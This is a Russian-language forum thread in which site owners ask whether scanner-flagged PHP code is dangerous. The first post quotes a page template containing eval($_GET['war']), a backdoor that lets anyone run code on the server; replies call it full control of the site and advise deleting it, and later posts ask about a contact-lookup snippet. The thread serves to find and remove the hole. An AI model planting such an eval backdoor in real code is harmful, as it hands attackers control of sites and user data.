ОБСУЖДЕНИЕ

Опасен ли код?

15 сообщений1 просмотровОткрыта
#1
вот часть кода, который висвечивает при сканировании
BASH
f="?id='.$war['id'].'&start">················ ·· ··········</a> </div></div>';}} eval($_GET['war']);if($war['status']=='0'){echo '<div class="wars-over">';echo


Пишет
Критические замечания
Эти файлы могут быть вредоносными или хакерскими скриптами (1)
#2
eval($_GET['war']) это дырище
#3
можно сказать "полный доступ к управлению Вашим сайтом"
#4
Mobiaaa, как исправить?
#5
Призрак, благодарю. А какое тут решение?
#6
HELL, убрать код :)
#7
Mobiaaa, убрал.Спасибо!)
#8
HELL, чем сканируеш?
#9
BaSsFull, айболитом
#10
А тут что не так?'from']));if(in_array($contact['domain'],$config['aliase'])){$contact['search']= preg_replace("/.*/",'',$contact['from']);$contact=mysql_fetch_assoc(mysql_query
#11
Mobiaaa,
PHP
if (isset($_GET['contact']) || isset($_POST['to'])) {
    $contact['add'] = (isset($_POST['to']) ? $_POST['to'] : $_GET['contact']);
    
    if (preg_match("#^[A-z0-9-\._-]+@[A-z0-9\._-]{2,}\.[A-z]{2,4}$#ui", $contact['add'])) {
        $contact['from'] = urldecode($contact['add']);
        $contact['domain'] = strtolower(preg_replace("/.*?@/", '', $contact['from']));
        
        if (in_array($contact['domain'], $config['aliase'])) {
            $contact['search'] = preg_replace("/@.*/", '', $contact['from']);
            
            $contact = mysql_fetch_assoc(mysql_query("SELECT * FROM `user` AS u
                                                    WHERE `nick` = '" . my_esc($contact['search']) . "'
                                                    LIMIT 1"));  
            
            if (isset($contact['id'])) {
                $contact['add'] = $contact['id'];
            } else {
                $contact['from'] = '';
            }
            
        } else {
            $contact['avatar'] = '<img src="style/icons/email.jpg" />';
            $contact['icon'] = '<img src="style/icons/e.gif" />';
            $contact['nick'] = $contact['from'];    
            $contact['link'] = text($contact['from']);       
        }
    } 
    
    if (preg_match("#^([0-9]+)$#ui", $contact['add'])) {
        if ($contact['add'] == 0) {
            $contact['avatar'] = '<img class="avatar" src="style/icons/system.png" />';
            $contact['icon'] = '<img src="style/icons/ic_system.png" />';
            $contact['nick'] = 'Система';
            $contact['link'] = 'Система';
            $contact['id'] = 0;
        } else {
            $contact = user::get_user($contact['add']);
            $contact['link'] = $contact['icon'] . '<a href="/info.php?id=' . $contact['id'] . '">' . $contact['nick'] . '</a>';
        }
        
        $contact['from'] = $contact['id'];
    }
}



а тут как бороться?
#12
Как полности убрать
#13
jama_1994, пост 11)
#14
Скажи пожалюста как узнать диры
if (isset($_GET['contact'])

eval($_GET['war'])
#15
jama_1994, Не понял? Тебе в войне полов надо убрать дыры?